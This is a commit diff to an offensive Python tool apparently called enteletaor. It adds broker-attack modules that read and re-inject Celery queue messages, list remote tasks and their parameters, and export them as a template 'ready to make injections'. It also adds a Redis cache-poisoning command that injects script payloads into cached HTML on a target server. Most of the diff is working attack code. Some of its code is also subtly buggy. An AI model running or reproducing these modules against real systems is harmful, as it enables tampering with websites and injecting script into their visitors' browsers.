||||||
log = logging.getLogger(__name__)
|
log = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|||||||
@@ -7,8 +7,9 @@ from modules import IModule
|
|||||||
from libs.core.structs import CommonData
|
from libs.core.structs import CommonData
|
||||||
from libs.core.models import IntegerField, StringField, SelectField
|
from libs.core.models import IntegerField, StringField, SelectField
|
||||||
|
|
||||||
|
from .cmd_actions import parser_proc_raw_dump, parser_proc_list_process
|
||||||
from .proc_raw_dump import action_proc_raw_dump
|
from .proc_raw_dump import action_proc_raw_dump
|
||||||
from .cmd_actions import parser_proc_raw_dump
|
from .proc_list_process import action_proc_list_process
|
||||||
|
|
||||||
log = logging.getLogger()
|
log = logging.getLogger()
|
||||||
|
|
||||||
@@ -38,6 +39,11 @@ class RemoteProcessModule(IModule):
|
|||||||
cmd_args=parser_proc_raw_dump,
|
cmd_args=parser_proc_raw_dump,
|
||||||
action=action_proc_raw_dump
|
action=action_proc_raw_dump
|
||||||
),
|
),
|
||||||
|
'list-process': dict(
|
||||||
|
help="list remote process and their params",
|
||||||
|
cmd_args=parser_proc_list_process,
|
||||||
|
action=action_proc_list_process
|
||||||
|
),
|
||||||
}
|
}
|
||||||
|
|
||||||
name = "proc"
|
name = "proc"
|
||||||
|
|||||||
@@ -7,7 +7,19 @@ This file contains command line actions for argparser
|
|||||||
|
|
||||||
# ----------------------------------------------------------------------
|
# ----------------------------------------------------------------------
|
||||||
def parser_proc_raw_dump(parser):
|
def parser_proc_raw_dump(parser):
|
||||||
parser.add_argument("--tail", action="store_true", dest="tail_mode", default=False,
|
gr = parser.add_argument_group("custom raw dump options")
|
||||||
help="although all information be dumped do not stop")
|
|
||||||
parser.add_argument("-I", dest="interval", type=float, default=4,
|
gr.add_argument("--streaming", action="store_true", dest="streaming_mode", default=False,
|
||||||
help="timeout interval between tow connections")
|
help="although all information be dumped do not stop")
|
||||||
|
gr.add_argument("-I", dest="interval", type=float, default=4,
|
||||||
|
help="timeout interval between tow connections")
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
def parser_proc_list_process(parser):
|
||||||
|
gr = parser.add_argument_group("process exporting options")
|
||||||
|
|
||||||
|
gr.add_argument("-T", "--make-template", dest="template", type=str,
|
||||||
|
help="export process as a JSON template format, ready to make injections")
|
||||||
|
gr.add_argument("-F", "--function-name", dest="function_name", type=str,
|
||||||
|
help="only export this function name")
|
||||||
|
|||||||
118
enteletaor_lib/modules/proc/proc_list_process.py
Normal file
118
enteletaor_lib/modules/proc/proc_list_process.py
Normal file
@@ -0,0 +1,118 @@
|
|||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
import os
|
||||||
|
import six
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from kombu import Connection
|
||||||
|
|
||||||
|
from .utils import list_remote_process
|
||||||
|
|
||||||
|
log = logging.getLogger()
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
def get_param_type(value):
|
||||||
|
"""
|
||||||
|
Try to identify the parameter type by their value
|
||||||
|
|
||||||
|
:return: string with type. Valid values: str, int, float, dict, list, bytes, object
|
||||||
|
:rtype: str
|
||||||
|
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
# Distinguish between int and float
|
||||||
|
if int(value) == value:
|
||||||
|
return "int"
|
||||||
|
else:
|
||||||
|
return "float"
|
||||||
|
|
||||||
|
except ValueError:
|
||||||
|
|
||||||
|
# If raises type must be string or complex data
|
||||||
|
if type(value) == dict:
|
||||||
|
return "dict"
|
||||||
|
elif type(value) == list:
|
||||||
|
return "list"
|
||||||
|
elif type(value) == bytes:
|
||||||
|
try:
|
||||||
|
value.decode()
|
||||||
|
|
||||||
|
return "bytes"
|
||||||
|
except Exception:
|
||||||
|
return "str"
|
||||||
|
|
||||||
|
elif type(value) == str:
|
||||||
|
return "str"
|
||||||
|
else:
|
||||||
|
return "object"
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
def action_proc_list_process(config):
|
||||||
|
|
||||||
|
log.warning(" - Trying to connect with server...")
|
||||||
|
|
||||||
|
url = '%s://%s' % (config.broker_type, config.target)
|
||||||
|
|
||||||
|
with Connection(url) as conn:
|
||||||
|
in_queue = conn.SimpleQueue('celery')
|
||||||
|
|
||||||
|
process_info = {}
|
||||||
|
|
||||||
|
# Get remote process
|
||||||
|
for remote_process, remote_args in list_remote_process(config, in_queue):
|
||||||
|
|
||||||
|
if remote_process not in process_info:
|
||||||
|
process_info[remote_process] = remote_args
|
||||||
|
|
||||||
|
# Try to identify parameters types
|
||||||
|
|
||||||
|
# Display info
|
||||||
|
log.error(" - Remote process found:")
|
||||||
|
for p, v in six.iteritems(process_info):
|
||||||
|
log.error(" -> %s (%s)" % (
|
||||||
|
p,
|
||||||
|
", ".join("param_%s:%s" % (i, get_param_type(x)) for i, x in enumerate(v))
|
||||||
|
))
|
||||||
|
|
||||||
|
# Export to template enabled?
|
||||||
|
if config.template is not None:
|
||||||
|
log.warning(" - Building template...")
|
||||||
|
|
||||||
|
export_data = []
|
||||||
|
|
||||||
|
for p, v in six.iteritems(process_info):
|
||||||
|
|
||||||
|
# Function name restriction?
|
||||||
|
if config.function_name is not None and config.function_name != p:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Extract function params
|
||||||
|
for i, l_p in enumerate(v):
|
||||||
|
l_params = {
|
||||||
|
'param_position': i,
|
||||||
|
'param_type': get_param_type(l_p)
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add to function information
|
||||||
|
l_process = {
|
||||||
|
'function': p,
|
||||||
|
'parameters': l_params
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add to all data
|
||||||
|
|
||||||
|
export_data.append(l_process)
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# Save template
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# Build path in current dir
|
||||||
|
export_path = "%s.json" % os.path.abspath(config.template)
|
||||||
|
|
||||||
|
# dumps
|
||||||
|
json.dump(export_data, open(export_path, "w"))
|
||||||
|
|
||||||
|
log.error(" - Template saved at: '%s'" % export_path)
|
||||||
@@ -5,9 +5,8 @@ import logging
|
|||||||
|
|
||||||
from time import sleep
|
from time import sleep
|
||||||
from kombu import Connection
|
from kombu import Connection
|
||||||
from kombu.simple import Empty
|
|
||||||
from six.moves.cPickle import loads
|
from .utils import list_remote_process
|
||||||
from kombu.exceptions import SerializationError
|
|
||||||
|
|
||||||
log = logging.getLogger()
|
log = logging.getLogger()
|
||||||
|
|
||||||
@@ -15,61 +14,29 @@ log = logging.getLogger()
|
|||||||
# ----------------------------------------------------------------------
|
# ----------------------------------------------------------------------
|
||||||
def action_proc_raw_dump(config):
|
def action_proc_raw_dump(config):
|
||||||
|
|
||||||
|
log.warning(" - Trying to connect with server...")
|
||||||
|
|
||||||
url = '%s://%s' % (config.broker_type, config.target)
|
url = '%s://%s' % (config.broker_type, config.target)
|
||||||
|
|
||||||
# with Connection('redis://%s' % REDIS) as conn:
|
# with Connection('redis://%s' % REDIS) as conn:
|
||||||
with Connection(url) as conn:
|
with Connection(url) as conn:
|
||||||
in_queue = conn.SimpleQueue('celery')
|
in_queue = conn.SimpleQueue('celery')
|
||||||
|
|
||||||
to_inject = []
|
|
||||||
already_processed = set()
|
|
||||||
|
|
||||||
while 1:
|
while 1:
|
||||||
try:
|
|
||||||
while 1:
|
|
||||||
message = in_queue.get(block=False, timeout=1)
|
|
||||||
|
|
||||||
# --------------------------------------------------------------------------
|
for remote_process, remote_args in list_remote_process(config, in_queue):
|
||||||
# Try to deserialize
|
# Show info
|
||||||
# --------------------------------------------------------------------------
|
log.error("Found process information:")
|
||||||
# Is Pickle info?
|
log.error(" - Remote process name: '%s'" % remote_process)
|
||||||
try:
|
log.error(" - Input parameters:")
|
||||||
deserialized = loads(message.body)
|
|
||||||
except SerializationError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
msg_id = deserialized['id']
|
for i, x in enumerate(remote_args):
|
||||||
|
log.error(" -> P%s: %s" % (i, x))
|
||||||
|
|
||||||
# Read info
|
# Queue is empty -> wait
|
||||||
if msg_id not in already_processed:
|
if config.streaming_mode:
|
||||||
|
log.error("No more messages from server. Waiting for %s seconds and try again.." % config.interval)
|
||||||
remote_process = deserialized['task'].split(".")[-1]
|
sleep(config.interval)
|
||||||
remote_args = deserialized['args']
|
else:
|
||||||
|
log.error("No more messages from server. Exiting...")
|
||||||
# Show info
|
return
|
||||||
log.error("Found process information:")
|
|
||||||
log.error(" - Remote process name: '%s'" % remote_process)
|
|
||||||
log.error(" - Input parameters:")
|
|
||||||
for i, x in enumerate(remote_args):
|
|
||||||
log.error(" -> P%s: %s" % (i, x))
|
|
||||||
|
|
||||||
# Store as processed
|
|
||||||
already_processed.add(msg_id)
|
|
||||||
|
|
||||||
# --------------------------------------------------------------------------
|
|
||||||
# Store message to re-send
|
|
||||||
# --------------------------------------------------------------------------
|
|
||||||
to_inject.append(deserialized)
|
|
||||||
|
|
||||||
except Empty:
|
|
||||||
# When Queue is Empty -> reinject all removed messages
|
|
||||||
for x in to_inject:
|
|
||||||
in_queue.put(x, serializer="pickle")
|
|
||||||
|
|
||||||
# Queue is empty -> wait
|
|
||||||
if config.tail_mode:
|
|
||||||
log.error("No more messages from server. Waiting for %s seconds and try again.." % config.interval)
|
|
||||||
sleep(config.interval)
|
|
||||||
else:
|
|
||||||
log.error("No more messages from server. Exiting...")
|
|
||||||
return
|
|
||||||
|
|||||||
66
enteletaor_lib/modules/proc/utils.py
Normal file
66
enteletaor_lib/modules/proc/utils.py
Normal file
@@ -0,0 +1,66 @@
|
|||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
from kombu.simple import Empty
|
||||||
|
from six.moves.cPickle import loads
|
||||||
|
from kombu.exceptions import SerializationError
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
def get_remote_messages(config, queue):
|
||||||
|
"""
|
||||||
|
Get all messages from queue without removing from it
|
||||||
|
|
||||||
|
:return: yield raw deserialized messages
|
||||||
|
:rtype: json
|
||||||
|
"""
|
||||||
|
|
||||||
|
to_inject = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
while 1:
|
||||||
|
message = queue.get(block=False, timeout=1)
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# Try to deserialize
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# Is Pickle info?
|
||||||
|
try:
|
||||||
|
deserialized = loads(message.body)
|
||||||
|
except SerializationError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
yield deserialized
|
||||||
|
|
||||||
|
to_inject.append(deserialized)
|
||||||
|
|
||||||
|
except Empty:
|
||||||
|
# When Queue is Empty -> reinject all removed messages
|
||||||
|
for x in to_inject:
|
||||||
|
queue.put(x, serializer="pickle")
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
def list_remote_process(config, queue):
|
||||||
|
"""
|
||||||
|
Get all messages from queue without removing from it
|
||||||
|
|
||||||
|
:return: yield two values: remote_process name, remote args
|
||||||
|
:rtype: str, set
|
||||||
|
"""
|
||||||
|
|
||||||
|
already_processed = set()
|
||||||
|
|
||||||
|
for deserialized in get_remote_messages(config, queue):
|
||||||
|
|
||||||
|
msg_id = deserialized['id']
|
||||||
|
|
||||||
|
# Read info
|
||||||
|
if msg_id not in already_processed:
|
||||||
|
|
||||||
|
remote_process = deserialized['task'].split(".")[-1]
|
||||||
|
remote_args = deserialized['args']
|
||||||
|
|
||||||
|
# Store as processed
|
||||||
|
already_processed.add(msg_id)
|
||||||
|
|
||||||
|
yield remote_process, remote_args
|
||||||
@@ -6,13 +6,14 @@ from modules import IModule
|
|||||||
from libs.core.models import StringField, IntegerField
|
from libs.core.models import StringField, IntegerField
|
||||||
from libs.core.structs import CommonData
|
from libs.core.structs import CommonData
|
||||||
|
|
||||||
from .cmd_actions import parser_redis_dump, parser_redis_server_disconnect
|
|
||||||
from .redis_dump import action_redis_dump
|
from .redis_dump import action_redis_dump
|
||||||
|
from .redis_shell import action_redis_shell
|
||||||
from .redis_info import action_redis_server_info
|
from .redis_info import action_redis_server_info
|
||||||
|
from .redis_cache import action_redis_cache_poison
|
||||||
|
from .redis_discover_db import action_redis_discover_dbs
|
||||||
from .redis_clients import action_redis_server_connected
|
from .redis_clients import action_redis_server_connected
|
||||||
from .redis_disconnect import action_redis_server_disconnect
|
from .redis_disconnect import action_redis_server_disconnect
|
||||||
from .redis_shell import action_redis_shell
|
from .cmd_actions import parser_redis_dump, parser_redis_server_disconnect, parser_redis_server_cache_poison
|
||||||
from .redis_discover_db import action_redis_discover_dbs
|
|
||||||
|
|
||||||
|
|
||||||
log = logging.getLogger()
|
log = logging.getLogger()
|
||||||
@@ -52,14 +53,15 @@ class RedisModule(IModule):
|
|||||||
action=action_redis_server_disconnect
|
action=action_redis_server_disconnect
|
||||||
),
|
),
|
||||||
'discover-dbs': dict(
|
'discover-dbs': dict(
|
||||||
help="discover all redis DBs at server",
|
help="discover all Redis DBs at server",
|
||||||
action=action_redis_discover_dbs
|
action=action_redis_discover_dbs
|
||||||
),
|
),
|
||||||
# 'shell': dict(
|
'cache': dict(
|
||||||
# help="open a remote os shell through the Redis server",
|
help="poison remotes cache using Redis server",
|
||||||
# action=action_redis_shell
|
action=action_redis_cache_poison,
|
||||||
# ),
|
cmd_args=parser_redis_server_cache_poison
|
||||||
|
),
|
||||||
}
|
}
|
||||||
|
|
||||||
name = "redis"
|
name = "redis"
|
||||||
description = "some attacks over Redis service"
|
description = "some attacks over Redis service"
|
||||||
|
|||||||
@@ -10,13 +10,35 @@ def parser_redis_dump(parser):
|
|||||||
"""
|
"""
|
||||||
Dump all redis database information
|
Dump all redis database information
|
||||||
"""
|
"""
|
||||||
parser.add_argument("--no-raw", action="store_true", dest="no_raw", default=False,
|
gr = parser.add_argument_group("custom raw dump options")
|
||||||
help="do not show displays raw database info into screen")
|
gr.add_argument("--no-raw", action="store_true", dest="no_raw", default=False,
|
||||||
|
help="do not show displays raw database info into screen")
|
||||||
|
|
||||||
|
|
||||||
# ----------------------------------------------------------------------
|
# ----------------------------------------------------------------------
|
||||||
def parser_redis_server_disconnect(parser):
|
def parser_redis_server_disconnect(parser):
|
||||||
parser.add_argument("-c", action="store", dest="client", help="user to disconnect")
|
gr = parser.add_argument_group("custom disconnect options")
|
||||||
parser.add_argument("--all", action="store_true", dest="disconnect_all", default=False,
|
|
||||||
help="disconnect all users")
|
|
||||||
|
|
||||||
|
gr.add_argument("-c", action="store", dest="client", help="user to disconnect")
|
||||||
|
gr.add_argument("--all", action="store_true", dest="disconnect_all", default=False,
|
||||||
|
help="disconnect all users")
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
def parser_redis_server_cache_poison(parser):
|
||||||
|
gr = parser.add_argument_group("custom poison options")
|
||||||
|
|
||||||
|
gr.add_argument("--search", action="store_true", dest="search_cache", default=False,
|
||||||
|
help="try to find cache info stored in Redis")
|
||||||
|
gr.add_argument("--cache-key", action="store", dest="cache_key",
|
||||||
|
help="try to poisoning using selected key")
|
||||||
|
|
||||||
|
payload = parser.add_argument_group("payloads options")
|
||||||
|
payload.add_argument("-P", "--poison", action="store_true", dest="poison", default=False,
|
||||||
|
help="enables cache poisoning")
|
||||||
|
payload.add_argument("--payload", action="store", dest="poison_payload",
|
||||||
|
help="try inject cmd inline payload")
|
||||||
|
payload.add_argument("--file-payload", action="store", dest="poison_payload_file",
|
||||||
|
help="try inject selected payload reading from a file")
|
||||||
|
payload.add_argument("--replace-html", action="store", dest="new_html",
|
||||||
|
help="replace cache content with selected file content")
|
||||||
|
|||||||
194
enteletaor_lib/modules/redis/redis_cache.py
Normal file
194
enteletaor_lib/modules/redis/redis_cache.py
Normal file
@@ -0,0 +1,194 @@
|
|||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
import redis
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from lxml import etree
|
||||||
|
|
||||||
|
log = logging.getLogger()
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
def dump_key(key, con):
|
||||||
|
|
||||||
|
key_type = con.type(key).lower()
|
||||||
|
val = None
|
||||||
|
if key_type in (b"kv", b"string"):
|
||||||
|
val = con.get(key)
|
||||||
|
if key_type == b"hash":
|
||||||
|
val = con.hgetall(key)
|
||||||
|
if key_type == b"zet":
|
||||||
|
val = con.zrange(key, 0, -1)
|
||||||
|
if key_type == b"set":
|
||||||
|
val = con.mget(key)
|
||||||
|
|
||||||
|
if val is not None:
|
||||||
|
if isinstance(val, list):
|
||||||
|
if val[0] is None:
|
||||||
|
return None
|
||||||
|
return val
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
def search_caches(con):
|
||||||
|
"""
|
||||||
|
Try to search cache keys
|
||||||
|
"""
|
||||||
|
found = False
|
||||||
|
|
||||||
|
for x in con.keys():
|
||||||
|
if "cache" in str(x).lower():
|
||||||
|
yield x
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
def handle_html(config, content):
|
||||||
|
"""
|
||||||
|
Modify the HTML content
|
||||||
|
"""
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# Selected custom HTML file?
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
if config.new_html is not None:
|
||||||
|
with open(config.new_html, "rU") as f:
|
||||||
|
return f.read()
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# Search start and end possition of HTML page
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
for i, x in enumerate(content):
|
||||||
|
if chr(x) == "<":
|
||||||
|
pos_ini = i
|
||||||
|
break
|
||||||
|
|
||||||
|
for i, x in enumerate(content[::-1]):
|
||||||
|
if chr(x) == ">":
|
||||||
|
pos_end = len(content) - i
|
||||||
|
break
|
||||||
|
|
||||||
|
if pos_ini is None or pos_end is None:
|
||||||
|
raise ValueError("Not found HTML content into cache")
|
||||||
|
|
||||||
|
txt_content = content[pos_ini:pos_end]
|
||||||
|
|
||||||
|
# Parse input
|
||||||
|
tree = etree.fromstring(txt_content, etree.HTMLParser())
|
||||||
|
doc_root = tree.getroottree()
|
||||||
|
|
||||||
|
results = None
|
||||||
|
|
||||||
|
# Search insertion points
|
||||||
|
for point in ("head", "title", "body", "script", "div", "p"):
|
||||||
|
insert_point = doc_root.find(".//%s" % point)
|
||||||
|
|
||||||
|
if insert_point is None:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# Add the injection Payload
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
if config.poison_payload_file is not None:
|
||||||
|
with open(config.poison_payload_file, "rU") as f:
|
||||||
|
_f_payload = f.read()
|
||||||
|
payload = etree.fromstring(_f_payload)
|
||||||
|
|
||||||
|
elif config.poison_payload:
|
||||||
|
payload = etree.fromstring(config.poison_payload)
|
||||||
|
else:
|
||||||
|
payload = etree.fromstring("<script>alert('You are vulnerable to broker injection')</script>")
|
||||||
|
|
||||||
|
insert_point.addnext(payload)
|
||||||
|
|
||||||
|
# Set results
|
||||||
|
results = bytes(etree.tostring(doc_root))
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# Build results
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
return results
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
def action_redis_cache_poison(config):
|
||||||
|
"""
|
||||||
|
Dump all redis information
|
||||||
|
"""
|
||||||
|
log.warning(" - Trying to connect with redis server...")
|
||||||
|
|
||||||
|
# Connection with redis
|
||||||
|
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
||||||
|
|
||||||
|
if not config.cache_key:
|
||||||
|
cache_keys = set(search_caches(con))
|
||||||
|
else:
|
||||||
|
if config.cache_key is None:
|
||||||
|
cache_keys = list(search_caches(con))[0]
|
||||||
|
else:
|
||||||
|
cache_keys = [config.cache_key]
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# Find cache keys
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
if config.search_cache is True:
|
||||||
|
log.error("Looking for caches in '%s'..." % config.target)
|
||||||
|
|
||||||
|
for x in cache_keys:
|
||||||
|
log.warning(" - Possible cache found in key: %s" % str(x))
|
||||||
|
|
||||||
|
if not cache_keys:
|
||||||
|
log.warning(" - No caches found")
|
||||||
|
|
||||||
|
# Stop
|
||||||
|
return
|
||||||
|
|
||||||
|
if config.poison is True:
|
||||||
|
log.error(" - Poisoning enabled")
|
||||||
|
else:
|
||||||
|
log.error(" - Listing cache information:")
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# Explode caches
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
for val in cache_keys:
|
||||||
|
content = dump_key(val, con)
|
||||||
|
|
||||||
|
# If key doesn't exist content will be None
|
||||||
|
if content is None:
|
||||||
|
log.error(" - Provided key '%s' not found in server" % val)
|
||||||
|
continue
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# Make actions over cache
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# Poison is enabled?
|
||||||
|
if config.poison is True:
|
||||||
|
# Set injection
|
||||||
|
try:
|
||||||
|
modified = handle_html(config, content)
|
||||||
|
except ValueError as e:
|
||||||
|
log.error(" - Can't modify cache content: " % e)
|
||||||
|
continue
|
||||||
|
except IOError as e:
|
||||||
|
log.error(" - Can't modify cache content: " % e)
|
||||||
|
|
||||||
|
# Injection was successful?
|
||||||
|
if modified is None:
|
||||||
|
log.warning(" - Can't modify content: ensure that content is HTML")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Set injection into server
|
||||||
|
con.setex(val, 200, modified)
|
||||||
|
|
||||||
|
log.error(" - Poisoned cache key '%s' at server '%s'" % (val, config.target))
|
||||||
|
else:
|
||||||
|
|
||||||
|
# If not poison enabled display cache keys
|
||||||
|
log.error(" -> Key: '%s' - " % val)
|
||||||
|
log.error(" -> Content:\n %s" % content)
|
||||||
|
|
||||||
|
if not cache_keys:
|
||||||
|
log.error(" - No cache keys found in server: Can't poison remote cache.")
|
||||||
@@ -12,7 +12,7 @@ def action_redis_server_connected(config):
|
|||||||
"""
|
"""
|
||||||
Dump all redis information
|
Dump all redis information
|
||||||
"""
|
"""
|
||||||
log.warning("Trying to connect with redis server...")
|
log.warning(" - Trying to connect with redis server...")
|
||||||
|
|
||||||
# Connection with redis
|
# Connection with redis
|
||||||
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ def action_redis_server_disconnect(config):
|
|||||||
"""
|
"""
|
||||||
Disconnect one or more users from server
|
Disconnect one or more users from server
|
||||||
"""
|
"""
|
||||||
log.warning("Trying to connect with redis server...")
|
log.warning(" - Trying to connect with redis server...")
|
||||||
|
|
||||||
# Connection with redis
|
# Connection with redis
|
||||||
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ def action_redis_discover_dbs(config):
|
|||||||
"""
|
"""
|
||||||
Dump all redis information
|
Dump all redis information
|
||||||
"""
|
"""
|
||||||
log.warning("Trying to connect with redis server...")
|
log.warning(" - Trying to connect with redis server...")
|
||||||
|
|
||||||
# Connection with redis
|
# Connection with redis
|
||||||
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
||||||
|
|||||||
@@ -2,7 +2,6 @@
|
|||||||
|
|
||||||
import redis
|
import redis
|
||||||
import logging
|
import logging
|
||||||
import pprint
|
|
||||||
|
|
||||||
log = logging.getLogger()
|
log = logging.getLogger()
|
||||||
|
|
||||||
@@ -35,7 +34,7 @@ def action_redis_dump(config):
|
|||||||
"""
|
"""
|
||||||
Dump all redis information
|
Dump all redis information
|
||||||
"""
|
"""
|
||||||
log.error("Trying to connect with redis server...")
|
log.warning(" - Trying to connect with redis server...")
|
||||||
|
|
||||||
# Connection with redis
|
# Connection with redis
|
||||||
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ def action_redis_server_info(config):
|
|||||||
"""
|
"""
|
||||||
Dump all redis information
|
Dump all redis information
|
||||||
"""
|
"""
|
||||||
log.warning("Trying to connect with redis server...")
|
log.warning(" - Trying to connect with redis server...")
|
||||||
|
|
||||||
# Connection with redis
|
# Connection with redis
|
||||||
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ def action_redis_shell(config):
|
|||||||
"""
|
"""
|
||||||
Dump all redis information
|
Dump all redis information
|
||||||
"""
|
"""
|
||||||
log.warning("Trying to connect with redis server...")
|
log.warning(" - Trying to connect with redis server...")
|
||||||
|
|
||||||
# Connection with redis
|
# Connection with redis
|
||||||
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
|
||||||
|
|||||||
Reference in New Issue
Block a user